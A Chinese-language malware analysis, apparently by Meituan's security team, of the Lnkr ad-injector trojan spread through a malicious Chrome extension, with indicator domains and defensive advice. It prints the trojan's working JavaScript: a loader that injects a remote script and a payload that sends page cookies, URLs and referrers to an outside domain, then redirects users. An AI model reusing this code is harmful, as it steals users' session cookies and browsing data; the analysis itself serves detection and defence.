关于安全:隐藏在浏览器背后的黑手

2次阅读

共计 7623 个字符,预计需要花费 20 分钟才能阅读完成。

导读

本文从黑产攻击方式、木马歹意行为、监控及进攻计划等角度对 Lnkr 木马进行剖析,此类木马影响范畴较广,攻打手法多样,但国内目前相干的材料却十分稀少,心愿本文的实践经验和总结能对从事相干平安检测的同学有所帮忙。

一、事件概述

2020 年 10 月,美团平安经营平台发现流量中存在歹意 JavaScript 申请,信息安全部收到告警后立刻开始应急解决,通过对网络环境、拜访日志等进行排查,最终锁定歹意申请由 Chrome 浏览器装置歹意插件引起,该歹意 JavaScript 文件会窃取 Cookie 并强制用户跳转到歹意色情站点、推广链接等,联合美团威逼情报大数据,发现该插件与 Lnkr Ad Injector 木马特色吻合。

此类木马传播方式多样,会通过浏览器插件、Broken Link Hijacking 等形式在页面中植入恶意代码,不仅重大影响用户失常拜访还会窃取用户数据。经追踪剖析发现,多个国内大型互联网站点(Alexa 全球排名前 600)被感化,影响上亿网民的上网平安,倡议各大平台对本身零碎第三方加载源以及外部终端设备进行查看,防止蒙受此类木马攻打。

二、溯源过程

2.1 平安经营平台收回异样告警

Chrome 沙箱监测到歹意 JavaScript 文件,收回异样告警:

通过告警信息判断根本的攻击行为是:

  1. 用户拜访失常页面;
  2. 页面加载内部 JavaScript 文件(A):http://s3.amazonaws.com/js-st…;
  3. A 加载第二个 JavaScript 文件(B):http://countsource.cool/18ced…;
  4. B 蕴含恶意代码,向近程域名发送 Cookie 等敏感信息。

2.2 分析攻击门路

依据告警中波及的触发页面、相干网络环境信息,排除流量劫持、XSS 攻打等状况,猜想可能的起因为浏览器插件或恶意软件导致。

通过沙箱对问题设施上所有 Chrome 插件进行剖析,发现一个名为 Vysor 的 Chrome 插件代码存在歹意行为,检测后果如下:

{
    "call_window_location": {
        "info": "get document.location",
        "capture": []},
    "call_document_createElement": {
        "info": "call document.createElement, create script element",
        "capture": [
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:INPUT",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:SCRIPT",
            "create element elementName:LINK"
        ]
    },
    "call_document_removeChild": {
        "info": "call document.removeChild",
        "capture": ["remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}"
        ]
    },
    "set_scriptSrcValue": {
        "info": "set script src unsafe value",
        "capture": ["//s3.amazonaws.com/js-static/18ced489204f8ff908.js"]
    }
}

能够看到插件代码创立了 script 标签,而后将 script 标签的 src 属性设置为 //s3.amazonaws.com/js-static/18ced489204f8ff908.js

2.3 插件恶意代码剖析

为了进一步钻研该组织木马的特色,咱们对该歹意插件的代码进行了人工剖析。歹意插件的代码量较大,构造凌乱,蕴含大量烦扰代码。

首先恶意代码事后设置了许多无显著意义的字符串,用于结构 Payload。

这些字符串通过上面办法的一系列转换最终结构出创立 script 标签的语句 document’createElement’,doctype 即为创立进去的 script 对象。

接下来为 script 对象的 src 属性赋值,在 addHandler 办法中,cl 这个参数由 elem 传递过去,其中蕴含 src 字符串,通过 cl[0].split(‘>’).slice(2, 3) 拿到关键字 src,tag 是上文的 doctype 变量也就是 script 对象,在结构 src 值这部分,能够看到在常量中有一串一部分很像是 base64 的字符串:

mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t'

恶意代码利用该字符串联合其余预设变量进行一系列转换,最终造成 base64 后的加载地址 PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpYzwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM:

通过 createLinkPseudo 办法解 base64,通过 replace 后造成歹意地址 //s3.amazonaws.com/js-static/18ced489204f8ff908.js。

s3.amazonaws.com/js-static/18ced489204f8ff908.js 的次要目标是加载下一层的歹意 Javascript 文件(//countsource.cool/18ced489204f8ff908.js),代码如下:

(function(){var a=document.createElement("script");a.src="//countsource.cool/18ced489204f8ff908.js";(document.head||document.documentElement).appendChild(a)})();;

//countsource.cool/18ced489204f8ff908.js 文件内容为:

(function () {function initXMLhttp() {
        var xmlhttp;
        if (window.XMLHttpRequest) {xmlhttp = new XMLHttpRequest();
        } else {xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        return xmlhttp;
    }
​
    function minAjax(config) {if (!config.url) {return;}
        if (!config.type) {return;}
        if (!config.method) {config.method = true;}
        if (!config.debugLog) {config.debugLog = false;}
        var sendString = [],
            sendData = config.data;
        if (typeof sendData === "string") {var tmpArr = String.prototype.split.call(sendData, '&');
            for (var i = 0, j = tmpArr.length; i < j; i++) {var datum = tmpArr[i].split('=');
                sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
            }
        } else if (typeof sendData === 'object' && !(sendData instanceof String)) {for (var k in sendData) {var datum = sendData[k];
                if (Object.prototype.toString.call(datum) == "[object Array]") {for (var i = 0, j = datum.length; i < j; i++) {sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
                    }
                } else {sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
                }
            }
        }
        sendString = sendString.join('&');
        if (window.XDomainRequest) {var xmlhttp = new window.XDomainRequest();
            xmlhttp.onload = function () {if (config.success) {config.success(xmlhttp.responseText);
                }
            };
            xmlhttp.open("POST", config.url);
            xmlhttp.send(sendString);
        } else {var xmlhttp = initXMLhttp();
            xmlhttp.onreadystatechange = function () {if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {if (config.success) {config.success(xmlhttp.responseText, xmlhttp.readyState);
                    }
                } else {}}
            if (config.type == "GET") {xmlhttp.open("GET", config.url + "?" + sendString, config.method);
                xmlhttp.send();}
            if (config.type == "POST") {xmlhttp.open("POST", config.url, config.method);
                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlhttp.send(sendString);
            }
        }
    }
    dL();
​
    function dL() {
        var host = 'http://press.cdncontentdelivery.com/f';
        var config = {
            url: host + "/stats.php",
            type: "POST",
            data: {
                vbase: document.baseURI,
                vhref: location.href,
                vref: document.referrer,
                k: "Y291bnRzb3VyY2UuY29vbA==",
                ck: document.cookie,
                t: Math.floor(new Date().getTime() / 1000),
                tg: ""
            },
            success: onSuccessCallback
        };
​
        function bl(resp) {! function (dr) {function t() {return !!localStorage && localStorage.getItem(a)
                }
​
                function e() {o(),
                        parent.top.window.location.href = c
                }
​
                function o() {
                    var t = r + i;
                    if (localStorage) {localStorage.setItem(a, t)
                    }
                }
​
                function n() {if (t()) {var o = localStorage && localStorage.getItem(a);
                        r > o && e()} else e()}
                var a = "MenuIdentifier",
                    r = Math.floor((new Date).getTime() / 1e3),
                    c = dr,
                    i = 86400;
                n()}(resp);
        }
​
        function onSuccessCallback(response) {if (response && response.indexOf('http') > -1) {bl(response);
            }
        }
        minAjax(config);
    }
})();

该文件是真正实现歹意行为的代码,这部分代码没有通过混同、加密,也没有退出其余无意义的代码烦扰剖析,能够很清晰地看到其歹意行为:

  1. 获取以后页面 Cookie,ck 参数;
  2. 获取以后页面 Referrer;
  3. 获取以后页面 Location;
  4. 应用 XMLHttpRequest 将获取到的数据发送到 http://press.cdncontentdelive…;
  5. 利用 onSuccessCallback 办法进行跳转。

至此实现了将 Cookie 发送到远端接管地址,后续通过 onSuccessCallback 返回内容实现跳转,残缺流程:

2.4 通过已发现的 IoC 深刻排查

通过上述特色,发现大量与 Lnkr 木马相干的域名和插件,局部并未呈现在已知的威逼情报中,经进一步剖析发现,挪动终端设备也有触发歹意申请的状况。

除此之外咱们也发现国内多个大型站点在本身援用资源上引入了 Lnkr 木马,用户如果拜访到这些站点,Cookie 信息会被间接发送到远端,存在极高的平安危险。针对站点本身存在歹意资源的这类状况,极有可能是攻击者利用 Broken Link Hijacking 的攻打手法,对过期域名进行抢注,站点在拜访原有资源时被劫持到歹意资源。

三、总结

3.1 歹意域名

以下列举了此次检测发现的歹意域名:

  1. mirextpro.com
  2. browfileext.com
  3. nextextlink.com
  4. lisegreen.biz
  5. makesure.biz
  6. clipsold.com
  7. comtakelink.xyz
  8. protesidenext.com
  9. promfflinkdev.com
  10. rayanplug.xyz
  11. countsource.cool
  12. blancfox.com
  13. skipush1.bbn.com.cn
  14. donewrork.org
  15. loungesrc.net
  16. higedev.cool
  17. s3.amazonaws.com/cashe-js/
  18. s3.amazonaws.com/js-cache/
  19. s3.amazonaws.com/jsfile/
  20. s3.amazonaws.com/cashe-js/
  21. cdngateway.net(接管 Cookie 域名)
  22. sslproviders.net(接管 Cookie 域名)
  23. cdncontentdelivery.com(接管 Cookie 域名)

3.2 歹意插件

排查到蕴含 Lnkr 木马特色的歹意插件:

局部歹意插件截图:

四、复盘

Lnkr 木马所造成的危害有哪些?

Lnkr 木马的外围域名之一 cdngateway.net 在寰球域名流量排名 8900 位,从流量起源角度,通过内部网站跳转带来的流量占比总流量的 65.48%,可见其攻打范畴极广,受其影响的利用、用户数量也是十分宏大的。

此类木马对外部用户和外部员工拜访同时具备严重危害。

在内部用户方面,如果企业没有严格控制系统第三方资源加载,黑产利用 Broken Link Hijacking 的攻打手法,以致业务零碎加载资源时被劫持植入恶意代码,将重大影响用户体验、信息安全和企业形象。

从外部员工角度,传统杀软、EDR 等终端安全设备并不能很好地辨认出此类歹意插件,攻击者通过流传歹意浏览器插件管制员工浏览器加载近程歹意资源,不仅仅能够用于广告注入,相较于针对浏览器的其余攻击方式,能够达到更稳固,触发面更广的敏感信息窃取、内网探测等,在 CSP 历史阻断的歹意申请中,咱们也发现除窃取 Cookie 信息外,也存在恶意代码窃取页面文本信息的状况,这些文本信息在企业外部平台中,极有可能蕴含大量用户,订单等敏感信息。

如何发现此类歹意木马植入?

针对歹意浏览器插件,在检测方面对其代码做动态剖析老本比拟大,触发歹意申请的 Payload 都是通过大量编码转换、拼接、正则匹配等结构而成、且通过了很多没有实际意义的办法,在动态分析方面,因为 Chrome 插件代码会调用 Chrome 后盾 API,在惯例沙箱环境中可能会呈现无奈调用 API 而中途报错退出。剖析中还发现,很多歹意行为须要触发特定事件能力进入到结构歹意 Payload 流程,如触发 chrome.tabs.onUpdated 等。

对于浏览器插件平安,能够通过以下形式进行检测及防护:

  • 禁止装置未在 Chrome 利用商店上线的插件(公司外部开发的插件除外);
  • 对插件 manfiest.json 文件进行轻量级的排查,manfiest.json 文件中申请权限绝对敏感,如 Cookie、tabs、webRequest 等等;
  • 利用内容安全策略(CSP)对利用页面发动的申请进行拦挡或监控,联合动态与动态分析技术,判断 JavaScript 文件行为;
  • 利用浏览器沙箱与 EDR,定期对浏览器插件进行扫描;
  • 构建网络层的检测能力,发现有歹意申请及时应急解决。

对于业务零碎本身是否加载歹意资源方面:

  • 严格控制系统加载的第三方资源;
  • 通过内容安全策略(CSP)对页面触发的申请进行拦挡或监控。

总结

黑产组织利用此类木马进行歹意引流、窃取用户信息等,给用户拜访带来平安危险,也危害到企业本身形象,在 HTTPS 场景下,尽管排除了链路上用户拜访被劫持的危险,但用户端拜访环境安全性不定,为确保用户获取的信息牢靠,没有被篡改,依然须要进一步增强防护。心愿本文能给大家带来一些帮忙或者启发。

对于美团信息安全部

招聘信息

目前美团平安团队正在致力打造语言虚拟机—根底服务—下层利用的纵深利用平安体系,急需对研发安全感趣味的同学退出!如果你正好有求职意向且满足以下岗位要求,欢送投递简历至 sunny.fang@meituan.com(邮件主题请注明:研发平安专家 - 城市 - 美团 SRC)。

| 想浏览更多技术文章,请关注美团技术团队(meituantech)官网微信公众号。

| 在公众号菜单栏回复【2019 年货】、【2018 年货】、【2017 年货】、【算法】等关键词,可查看美团技术团队历年技术文章合集。

正文完
 0